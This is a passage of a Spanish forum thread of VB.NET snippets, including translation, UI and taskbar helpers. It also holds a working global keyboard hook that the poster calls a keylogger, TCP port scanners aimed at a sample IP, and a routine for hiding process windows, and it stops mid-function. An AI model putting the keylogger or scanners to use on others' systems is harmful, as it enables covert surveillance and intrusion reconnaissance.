  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
  9.       ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
  10.  
  11.    Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
  12.        Return (Number Mod Divisible = 0)
  13.    End Function
  14.  
  15.  
  16.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 08:21 am
Usar Google Translate sin comprar la API de pago xD

Código
  1. #Region " Google Translate "
  2.  
  3.    ' [ Google Translate Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
  10.    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
  11.  
  12.    Public Enum GoogleTranslate_Languages
  13.        auto ' Detectar idioma
  14.        af ' afrikáans
  15.        ar ' árabe
  16.        az ' azerí
  17.        be ' bielorruso
  18.        bg ' búlgaro
  19.        bn ' bengalí; bangla
  20.        bs ' bosnio
  21.        ca ' catalán
  22.        ceb ' cebuano
  23.        cs ' checo
  24.        cy ' galés
  25.        da ' danés
  26.        de ' alemán
  27.        el ' griego
  28.        en ' inglés
  29.        eo ' esperanto
  30.        es ' español
  31.        et ' estonio
  32.        eu ' euskera
  33.        fa ' persa
  34.        fi ' finlandés
  35.        fr ' francés
  36.        ga ' irlandés
  37.        gl ' gallego
  38.        gu ' gujarati
  39.        hi ' hindi
  40.        hmn ' Hmong
  41.        hr ' croata
  42.        ht ' criollo haitiano
  43.        hu ' húngaro
  44.        hy ' armenio
  45.        id ' indonesio
  46.        it ' italiano
  47.        iw ' hebreo
  48.        ja ' japonés
  49.        jw ' javanés
  50.        ka ' georgiano
  51.        km ' Jemer
  52.        kn ' canarés
  53.        ko ' coreano
  54.        la ' latín
  55.        lo ' lao
  56.        lt ' lituano
  57.        lv ' letón
  58.        mk ' macedonio
  59.        mr ' maratí
  60.        ms ' malayo
  61.        mt ' maltés
  62.        nl ' holandés
  63.        no ' noruego
  64.        pl ' polaco
  65.        pt ' portugués
  66.        ro ' rumano
  67.        ru ' ruso
  68.        sk ' eslovaco
  69.        sl ' esloveno
  70.        sq ' albanés
  71.        sr ' serbio
  72.        sv ' sueco
  73.        sw ' suajili
  74.        ta ' tamil
  75.        te ' telugu
  76.        th ' tailandés
  77.        tl ' tagalo
  78.        tr ' turco
  79.        uk ' ucraniano
  80.        ur ' urdu
  81.        vi ' vietnamita
  82.        yi ' yidis
  83.        zh_CN ' chino
  84.    End Enum
  85.  
  86.    Public Function Google_Translate(ByVal Input As String, _
  87.                                     ByVal From_Language As GoogleTranslate_Languages, _
  88.                                     ByVal To_Language As GoogleTranslate_Languages) As String
  89.  
  90.        Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  91.        Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  92.  
  93.        Dim webClient As New System.Net.WebClient
  94.  
  95.        Dim str = webClient.DownloadString( _
  96.        "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
  97.        "&sl=" & Formatted_From_Language & _
  98.        "&tl=" & Formatted_To_Language & "")
  99.  
  100.        Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)
  101.  
  102.    End Function
  103.  
  104. #End Region

Extra:
-> [BATCH] GTC (Google Translate Console) (http://foro.elhacker.net/buscador-t358970.0.html)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 15:56 pm
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código
  1. #Region " KeyLogger "
  2.  
  3. Public WithEvents KeysHook As New KeyboardHook
  4.  
  5. Dim Auto_Backspace_Key As Boolean = True
  6. Dim Auto_Enter_Key As Boolean = True
  7. Dim Auto_Tab_Key As Boolean = True
  8. Dim No_F_Keys As Boolean = False
  9.  
  10. Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
  11.  
  12.    Select Case Control.ModifierKeys
  13.  
  14.        Case 393216 ' Alt-GR + Key
  15.  
  16.            Select Case Key
  17.                Case Keys.D1 : Key_Listener("|")
  18.                Case Keys.D2 : Key_Listener("@")
  19.                Case Keys.D3 : Key_Listener("#")
  20.                Case Keys.D4 : Key_Listener("~")
  21.                Case Keys.D5 : Key_Listener("€")
  22.                Case Keys.D6 : Key_Listener("¬")
  23.                Case Keys.E : Key_Listener("€")
  24.                Case Keys.Oem1 : Key_Listener("[")
  25.                Case Keys.Oem5 : Key_Listener("\")
  26.                Case Keys.Oem7 : Key_Listener("{")
  27.                Case Keys.Oemplus : Key_Listener("]")
  28.                Case Keys.OemQuestion : Key_Listener("}")
  29.                Case Else : Key_Listener("")
  30.            End Select
  31.  
  32.        Case 65536 ' LShift/RShift + Key
  33.  
  34.            Select Case Key
  35.                Case Keys.D0 : Key_Listener("=")
  36.                Case Keys.D1 : Key_Listener("!")
  37.                Case Keys.D2 : Key_Listener("""")
  38.                Case Keys.D3 : Key_Listener("·")
  39.                Case Keys.D4 : Key_Listener("$")
  40.                Case Keys.D5 : Key_Listener("%")
  41.                Case Keys.D6 : Key_Listener("&")
  42.                Case Keys.D7 : Key_Listener("/")
  43.                Case Keys.D8 : Key_Listener("(")
  44.                Case Keys.D9 : Key_Listener(")")
  45.                Case Keys.Oem1 : Key_Listener("^")
  46.                Case Keys.Oem5 : Key_Listener("ª")
  47.                Case Keys.Oem6 : Key_Listener("¿")
  48.                Case Keys.Oem7 : Key_Listener("¨")
  49.                Case Keys.OemBackslash : Key_Listener(">")
  50.                Case Keys.Oemcomma : Key_Listener(";")
  51.                Case Keys.OemMinus : Key_Listener("_")
  52.                Case Keys.OemOpenBrackets : Key_Listener("?")
  53.                Case Keys.OemPeriod : Key_Listener(":")
  54.                Case Keys.Oemplus : Key_Listener("*")
  55.                Case Keys.OemQuestion : Key_Listener("Ç")
  56.                Case Keys.Oemtilde : Key_Listener("Ñ")
  57.                Case Else : Key_Listener("")
  58.            End Select
  59.  
  60.        Case Else
  61.  
  62.            If Key.ToString.Length = 1 Then ' Single alpha key
  63.  
  64.                If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
  65.                    Key_Listener(Key.ToString.ToUpper)
  66.                Else
  67.                    Key_Listener(Key.ToString.ToLower)
  68.                End If
  69.  
  70.            Else
  71.  
  72.                Select Case Key ' Single special key
  73.                    Case Keys.Add : Key_Listener("+")
  74.                    Case Keys.Back : Key_Listener("{BackSpace}")
  75.                    Case Keys.D0 : Key_Listener("0")
  76.                    Case Keys.D1 : Key_Listener("1")
  77.                    Case Keys.D2 : Key_Listener("2")
  78.                    Case Keys.D3 : Key_Listener("3")
  79.                    Case Keys.D4 : Key_Listener("4")
  80.                    Case Keys.D5 : Key_Listener("5")
  81.                    Case Keys.D6 : Key_Listener("6")
  82.                    Case Keys.D7 : Key_Listener("7")
  83.                    Case Keys.D8 : Key_Listener("8")
  84.                    Case Keys.D9 : Key_Listener("9")
  85.                    Case Keys.Decimal : Key_Listener(".")
  86.                    Case Keys.Delete : Key_Listener("{Supr}")
  87.                    Case Keys.Divide : Key_Listener("/")
  88.                    Case Keys.End : Key_Listener("{End}")
  89.                    Case Keys.Enter : Key_Listener("{Enter}")
  90.                    Case Keys.F1 : Key_Listener("{F1}")
  91.                    Case Keys.F10 : Key_Listener("{F10}")
  92.                    Case Keys.F11 : Key_Listener("{F11}")
  93.                    Case Keys.F12 : Key_Listener("{F12}")
  94.                    Case Keys.F2 : Key_Listener("{F2}")
  95.                    Case Keys.F3 : Key_Listener("{F3}")
  96.                    Case Keys.F4 : Key_Listener("{F4}")
  97.                    Case Keys.F5 : Key_Listener("{F5}")
  98.                    Case Keys.F6 : Key_Listener("{F6}")
  99.                    Case Keys.F7 : Key_Listener("{F7}")
  100.                    Case Keys.F8 : Key_Listener("{F8}")
  101.                    Case Keys.F9 : Key_Listener("{F9}")
  102.                    Case Keys.Home : Key_Listener("{Home}")
  103.                    Case Keys.Insert : Key_Listener("{Insert}")
  104.                    Case Keys.Multiply : Key_Listener("*")
  105.                    Case Keys.NumPad0 : Key_Listener("0")
  106.                    Case Keys.NumPad1 : Key_Listener("1")
  107.                    Case Keys.NumPad2 : Key_Listener("2")
  108.                    Case Keys.NumPad3 : Key_Listener("3")
  109.                    Case Keys.NumPad4 : Key_Listener("4")
  110.                    Case Keys.NumPad5 : Key_Listener("5")
  111.                    Case Keys.NumPad6 : Key_Listener("6")
  112.                    Case Keys.NumPad7 : Key_Listener("7")
  113.                    Case Keys.NumPad8 : Key_Listener("8")
  114.                    Case Keys.NumPad9 : Key_Listener("9")
  115.                    Case Keys.Oem1 : Key_Listener("`")
  116.                    Case Keys.Oem5 : Key_Listener("º")
  117.                    Case Keys.Oem6 : Key_Listener("¡")
  118.                    Case Keys.Oem7 : Key_Listener("´")
  119.                    Case Keys.OemBackslash : Key_Listener("<")
  120.                    Case Keys.Oemcomma : Key_Listener(",")
  121.                    Case Keys.OemMinus : Key_Listener(".")
  122.                    Case Keys.OemOpenBrackets : Key_Listener("'")
  123.                    Case Keys.OemPeriod : Key_Listener("-")
  124.                    Case Keys.Oemplus : Key_Listener("+")
  125.                    Case Keys.OemQuestion : Key_Listener("ç")
  126.                    Case Keys.Oemtilde : Key_Listener("ñ")
  127.                    Case Keys.PageDown : Key_Listener("{AvPag}")
  128.                    Case Keys.PageUp : Key_Listener("{RePag}")
  129.                    Case Keys.Space : Key_Listener(" ")
  130.                    Case Keys.Subtract : Key_Listener("-")
  131.                    Case Keys.Tab : Key_Listener("{Tabulation}")
  132.                    Case Else : Key_Listener("")
  133.                End Select
  134.  
  135.            End If
  136.  
  137.    End Select
  138.  
  139. End Sub
  140.  
  141. Public Sub Key_Listener(ByVal key As String)
  142.  
  143.    If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
  144.        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
  145.    ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
  146.        RichTextBox1.Text += ControlChars.NewLine
  147.    ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
  148.        RichTextBox1.Text += ControlChars.Tab
  149.    ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
  150.    Else ' Print the character
  151.        RichTextBox1.Text += key
  152.    End If
  153.  
  154. End Sub
  155.  
  156. #End Region

Y esta es la class del Hook:
Código
  1. Imports System.Runtime.InteropServices
  2.  
  3. Public Class KeyboardHook
  4.  
  5.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  6.    Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
  7.    End Function
  8.  
  9.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  10.    Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  11.    End Function
  12.  
  13.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  14.    Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
  15.    End Function
  16.  
  17.    <StructLayout(LayoutKind.Sequential)> _
  18.    Private Structure KBDLLHOOKSTRUCT
  19.        Public vkCode As UInt32
  20.        Public scanCode As UInt32
  21.        Public flags As KBDLLHOOKSTRUCTFlags
  22.        Public time As UInt32
  23.        Public dwExtraInfo As UIntPtr
  24.    End Structure
  25.  
  26.    <Flags()> _
  27.    Private Enum KBDLLHOOKSTRUCTFlags As UInt32
  28.        LLKHF_EXTENDED = &H1
  29.        LLKHF_INJECTED = &H10
  30.        LLKHF_ALTDOWN = &H20
  31.        LLKHF_UP = &H80
  32.    End Enum
  33.  
  34.    Public Shared Event KeyDown(ByVal Key As Keys)
  35.    Public Shared Event KeyUp(ByVal Key As Keys)
  36.  
  37.    Private Const WH_KEYBOARD_LL As Integer = 13
  38.    Private Const HC_ACTION As Integer = 0
  39.    Private Const WM_KEYDOWN = &H100
  40.    Private Const WM_KEYUP = &H101
  41.    Private Const WM_SYSKEYDOWN = &H104
  42.    Private Const WM_SYSKEYUP = &H105
  43.  
  44.    Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  45.  
  46.    Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
  47.    Private HHookID As IntPtr = IntPtr.Zero
  48.  
  49.    Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  50.        If (nCode = HC_ACTION) Then
  51.            Dim struct As KBDLLHOOKSTRUCT
  52.            Select Case wParam
  53.                Case WM_KEYDOWN, WM_SYSKEYDOWN
  54.                    RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  55.                Case WM_KEYUP, WM_SYSKEYUP
  56.                    RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  57.            End Select
  58.        End If
  59.        Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
  60.    End Function
  61.  
  62.    Public Sub New()
  63.        HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  64.        If HHookID = IntPtr.Zero Then
  65.            Throw New Exception("Could not set keyboard hook")
  66.        End If
  67.    End Sub
  68.  
  69.    Protected Overrides Sub Finalize()
  70.        If Not HHookID = IntPtr.Zero Then
  71.            UnhookWindowsHookEx(HHookID)
  72.        End If
  73.        MyBase.Finalize()
  74.    End Sub
  75.  
  76. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 2 Junio 2013, 16:47 pm
Elektro pone al principio del ultimo snippet ublic, en vez de Public.  :laugh:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 17:15 pm
Elektro pone al principio del ultimo snippet ublic, en vez de Public.  :laugh:

Corregido, gracias.

¿Alguna imperfección más? xD

Salu2!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 2 Junio 2013, 17:38 pm
Creo que no. xD


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 17:53 pm
LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:

Escanear un puerto abierto

Código
  1. #Region " Port Scan "
  2.  
  3.    ' [ Port Scan Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Port_Scan("84.126.113.10", 80))
  9.    ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))
  10.  
  11.    Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
  12.                               Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean
  13.  
  14.        Dim Open As Boolean
  15.  
  16.        Try
  17.            Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
  18.                                                        System.Net.Sockets.SocketType.Stream, Type)
  19.            socket.Connect(IP, Port)
  20.            Open = socket.Connected
  21.            socket.Disconnect(False)
  22.            Return Open
  23.        Catch ex As Exception
  24.            MsgBox(ex.Message)
  25.            ' Return False
  26.        End Try
  27.  
  28.    End Function
  29.  
  30. #End Region




Escanear un rango de puertos

Código
  1. #Region " Port Range Scan "
  2.  
  3.    ' [ Port Range Scan Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next
  9.  
  10.    Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
  11.                                     Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
  12.                                    ) As List(Of String)
  13.  
  14.        Dim Open_Ports_List As New List(Of String)
  15.  
  16.        Try
  17.            For Port As Int32 = Port_Start To Port_End
  18.                Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
  19.                                                     System.Net.Sockets.SocketType.Stream, Type)
  20.                socket.Connect(IP, Port)
  21.                If socket.Connected Then Open_Ports_List.Add(Port)
  22.                socket.Disconnect(False)
  23.            Next Port
  24.            Return Open_Ports_List
  25.        Catch ex As Exception
  26.            MsgBox(ex.Message)
  27.            Return Nothing
  28.        End Try
  29.  
  30.    End Function
  31.  
  32. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Junio 2013, 13:43 pm
Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm:

(Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.)

Código
  1. Public Class Panel_Without_Flickering
  2.  
  3.    Inherits Panel
  4.  
  5.    Public Sub New()
  6.        Me.DoubleBuffered = False
  7.        Me.ResumeLayout(False)
  8.    End Sub
  9.  
  10.    ' Caution:
  11.    ' This turns off any Flicker effect
  12.    ' ...but also reduces the performance (speed) of the control about 30% slower.
  13.    ' This don't affect to the performance of the application, only to the performance of this control.
  14.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  15.        Get
  16.            Dim cp As CreateParams = MyBase.CreateParams
  17.            cp.ExStyle = cp.ExStyle Or &H2000000
  18.            Return cp
  19.        End Get
  20.    End Property
  21.  
  22. End Class





Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla...

Código
  1. Public Class MyControl  ' Name of this control.
  2.  
  3.    Inherits PictureBox ' Name of the inherited control.
  4.  
  5. #Region " New "
  6.  
  7.    Public Sub New()
  8.        Me.DoubleBuffered = True
  9.        Me.SetStyle(ControlStyles.ResizeRedraw, False)
  10.        Me.Name = "MyControl"
  11.        'Me.Text = "Text"
  12.        'Me.Size = New Point(60, 60)
  13.    End Sub
  14.  
  15. #End Region
  16.  
  17. #Region " Properties "
  18.  
  19.    Private _Description As String = String.Empty
  20.  
  21.    ''' <summary>
  22.    ''' Add a description for this control.
  23.    ''' </summary>
  24.    Public Property Description() As String
  25.        Get
  26.            Return _Description
  27.        End Get
  28.        Set(ByVal Value As String)
  29.            Me._Description = Value
  30.        End Set
  31.    End Property
  32.  
  33. #End Region
  34.  
  35. #Region " Event handlers "
  36.  
  37.    ' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click
  38.    '    Me.ForeColor = Color.White
  39.    '    Me.BackColor = Color.CadetBlue
  40.    ' End Sub
  41.  
  42.    ' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs)
  43.    '    MyBase.OnPaint(pEvent)
  44.    '    If Me.Checked Then
  45.    '       pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12))
  46.    '    End If
  47.    ' End Sub
  48.  
  49. #End Region
  50.  
  51. #Region " Methods / Functions "
  52.  
  53.    ''' <summary>
  54.    ''' Show the autor of this control.
  55.    ''' </summary>
  56.    Public Sub About()
  57.        MsgBox("Elektro H@cker")
  58.    End Sub
  59.  
  60. #End Region
  61.  
  62. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Junio 2013, 20:41 pm
Taskbar Hide-Show

Oculta o desoculta la barra de tareas de Windows.

Código
  1. #Region " Taskbar Hide-Show "
  2.  
  3. ' [ Taskbar Hide-Show]
  4. '
  5. ' Examples :
  6. '
  7. ' Taskbar.Hide()
  8. ' Taskbar.Show()
  9.  
  10. #End Region
  11.  
  12. ' Taskbar.vb
  13. #Region " Taskbar Class "
  14.  
  15. ''' <summary>
  16. ''' Helper class for hiding/showing the taskbar and startmenu on
  17. ''' Windows XP and Vista.
  18. ''' </summary>
  19. Public Class Taskbar
  20.  
  21.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  22.    Private Shared Function GetWindowText(hWnd As IntPtr, text As System.Text.StringBuilder, count As Integer) As Integer
  23.    End Function
  24.    <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  25.    Private Shared Function EnumThreadWindows(threadId As Integer, pfnEnum As EnumThreadProc, lParam As IntPtr) As Boolean
  26.    End Function
  27.    <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
  28.    Private Shared Function FindWindow(lpClassName As String, lpWindowName As String) As System.IntPtr
  29.    End Function
  30.    <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
  31.    Private Shared Function FindWindowEx(parentHandle As IntPtr, childAfter As IntPtr, className As String, windowTitle As String) As IntPtr
  32.    End Function
  33.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  34.    Private Shared Function FindWindowEx(parentHwnd As IntPtr, childAfterHwnd As IntPtr, className As IntPtr, windowText As String) As IntPtr
  35.    End Function
  36.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  37.    Private Shared Function ShowWindow(hwnd As IntPtr, nCmdShow As Integer) As Integer
  38.    End Function
  39.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  40.    Private Shared Function GetWindowThreadProcessId(hwnd As IntPtr, lpdwProcessId As Integer) As UInteger
  41.    End Function
  42.  
  43.    Private Const SW_HIDE As Integer = 0
  44.    Private Const SW_SHOW As Integer = 5
  45.  
  46.    Private Const VistaStartMenuCaption As String = "Start"
  47.    Private Shared vistaStartMenuWnd As IntPtr = IntPtr.Zero
  48.    Private Delegate Function EnumThreadProc(hwnd As IntPtr, lParam As IntPtr) As Boolean
  49.  
  50.    ''' <summary>
  51.    ''' Show the taskbar.
  52.    ''' </summary>
  53.    Public Shared Sub Show()
  54.        SetVisibility(True)
  55.    End Sub
  56.  
  57.    ''' <summary>
  58.    ''' Hide the taskbar.
  59.    ''' </summary>
  60.    Public Shared Sub Hide()
  61.        SetVisibility(False)
  62.    End Sub
  63.  
  64.    ''' <summary>
  65.    ''' Sets the visibility of the taskbar.
  66.    ''' </summary>
  67.    Private Shared WriteOnly Property Visible() As Boolean
  68.        Set(value As Boolean)
  69.            SetVisibility(value)
  70.        End Set
  71.    End Property
  72.  
  73.    ''' <summary>
  74.    ''' Hide or show the Windows taskbar and startmenu.
  75.    ''' </summary>
  76.    ''' <param name="show">true to show, false to hide</param>
  77.    Private Shared Sub SetVisibility(show As Boolean)
  78.        ' get taskbar window
  79.        Dim taskBarWnd As IntPtr = FindWindow("Shell_TrayWnd", Nothing)
  80.  
  81.        ' Try the Windows XP TaskBar:
  82.        Dim startWnd As IntPtr = FindWindowEx(taskBarWnd, IntPtr.Zero, "Button", "Start")
  83.  
  84.        If startWnd = IntPtr.Zero Then
  85.            ' Try an alternate way of Windows XP TaskBar:
  86.            startWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, CType(&HC017, IntPtr), "Start")
  87.        End If
  88.  
  89.        If startWnd = IntPtr.Zero Then
  90.            ' Try the Windows Vista/7 TaskBar:
  91.            startWnd = FindWindow("Button", Nothing)
  92.  
  93.            If startWnd = IntPtr.Zero Then
  94.                ' Try an alternate way of Windows Vista/7 TaskBar:
  95.                startWnd = GetVistaStartMenuWnd(taskBarWnd)
  96.            End If
  97.        End If
  98.  
  99.        ShowWindow(taskBarWnd, If(show, SW_SHOW, SW_HIDE))
  100.        ShowWindow(startWnd, If(show, SW_SHOW, SW_HIDE))
  101.  
  102.    End Sub
  103.  
  104.    ''' <summary>
  105.    ''' Returns the window handle of the Vista start menu orb.
  106.    ''' </summary>
  107.    ''' <param name="taskBarWnd">windo handle of taskbar</param>
  108.    ''' <returns>window handle of start menu</returns>
  109.    Private Shared Function GetVistaStartMenuWnd(taskBarWnd As IntPtr) As IntPtr
  110.        ' get process that owns the taskbar window
  111.        Dim procId As Integer
  112.        GetWindowThreadProcessId(taskBarWnd, procId)
  113.  
  114.        Dim p As Process = Process.GetProcessById(procId)
  115.        If p IsNot Nothing Then
  116.            ' enumerate all threads of that process...
  117.            For Each t As ProcessThread In p.Threads
  118.                EnumThreadWindows(t.Id, AddressOf MyEnumThreadWindowsProc, IntPtr.Zero)
  119.            Next
  120.        End If
  121.        Return vistaStartMenuWnd
  122.    End Function
  123.  
  124.    ''' <summary>
  125.    ''' Callback method that is called from 'EnumThreadWindows' in 'GetVistaStartMenuWnd'.
  126.    ''' </summary>
  127.    ''' <param name="hWnd">window handle</param>
  128.    ''' <param name="lParam">parameter</param>
  129.    ''' <returns>true to continue enumeration, false to stop it</returns>
  130.    Private Shared Function MyEnumThreadWindowsProc(hWnd As IntPtr, lParam As IntPtr) As Boolean
  131.        Dim buffer As New System.Text.StringBuilder(256)
  132.        If GetWindowText(hWnd, buffer, buffer.Capacity) > 0 Then
  133.            Console.WriteLine(buffer)
  134.            If buffer.ToString() = VistaStartMenuCaption Then
  135.                vistaStartMenuWnd = hWnd
  136.                Return False
  137.            End If
  138.        End If
  139.        Return True
  140.    End Function
  141.  
  142. End Class
  143.  
  144. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Junio 2013, 17:05 pm
Recorre todos los controles de "X" tipo en un container.

Código
  1. #Region " Disable Controls "
  2.  
  3.    ' [ Disable Controls ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    '
  9.    ' Disable_Controls(Of CheckBox)(Me.Controls, False)
  10.    ' Disable_Controls(Of Button)(GroupBox1.Controls, False)
  11.  
  12.    Public Sub Disable_Controls(Of T As Control)(ByVal Container As Object, ByVal Enabled As Boolean)
  13.        For Each control As T In Container : control.Enabled = Enabled : Next
  14.    End Sub
  15.  
  16. #End Region





Pequeño ejemplo de como saber el tipo de objeto:

Código
  1. MsgBox(TypeName(Me))      ' Result: Form1
  2. MsgBox(TypeName(Me.Text)) ' Result: String
  3. MsgBox(TypeName(Panel1))  ' Result: Panel


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Junio 2013, 17:38 pm
Hide-Restore Process

Para ocultar o reestablecer la visibilidad de un proceso,
Esto solo oculta la ventana del proceso, no lo oculta del administrador de tareas,
la función "Restore" no está muy pulida, para perfeccionarlo habría que guardar cada handle de los procesos escondidos en un tipo de diccionario si se quiere usar con más de un proceso simultáneamente, ya que cuando ocultas una ventana, el handle se vuelve "0".

EDITO: Código mejorado:

Código
  1. #Region " Hide-Restore Process "
  2.  
  3.    ' [ Hide-Restore Process Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Hide_Process(Process.GetCurrentProcess().MainModule.ModuleName, False)
  10.    ' Hide_Process("notepad.exe", False)
  11.    ' Hide_Process("notepad", True)
  12.    '
  13.    ' Restore_Process(Process.GetCurrentProcess().MainModule.ModuleName, False)
  14.    ' Restore_Process("notepad.exe", False)
  15.    ' Restore_Process("notepad", True)
  16.  
  17.    Dim Process_Handle_Dictionary As New Dictionary(Of String, IntPtr)
  18.  
  19.    <System.Runtime.InteropServices.DllImport("User32")> Private Shared Function ShowWindow(ByVal hwnd As IntPtr, ByVal nCmdShow As Int32) As Int32
  20.    End Function
  21.  
  22.    Private Sub Hide_Process(ByVal Process_Name As String, Optional ByVal Recursive As Boolean = False)
  23.  
  24.        If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
  25.  
  26.        Dim proc() As Process = Process.GetProcessesByName(Process_Name)
  27.  
  28.        If Recursive Then
  29.            For proc_num As Integer = 0 To proc.Length - 1
  30.                Try
  31.                    Process_Handle_Dictionary.Add(Process_Name & ";" & proc(proc_num).Handle.ToString, proc(proc_num).MainWindowHandle)
  32.                    ShowWindow(proc(proc_num).MainWindowHandle, 0)
  33.                Catch ex As Exception
  34.                    ' MsgBox(ex.Message) ' The handle already exist in the Dictionary
  35.                End Try
  36.                Application.DoEvents()
  37.            Next
  38.        Else
  39.            If Not proc.Length = 0 AndAlso Not proc(0).MainWindowHandle = 0 Then
  40.                Process_Handle_Dictionary.Add(Process_Name & ";" & proc(0).Handle.ToString, proc(0).MainWindowHandle)
  41.                ShowWindow(proc(0).MainWindowHandle, 0)
  42.            End If
  43.        End If
  44.  
  45.    End Sub
  46.  
  47.    Private Sub Restore_Process(ByVal Process_Name As String, Optional ByVal Recursive As Boolean = False)
  48.  
  49.        If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
  50.  
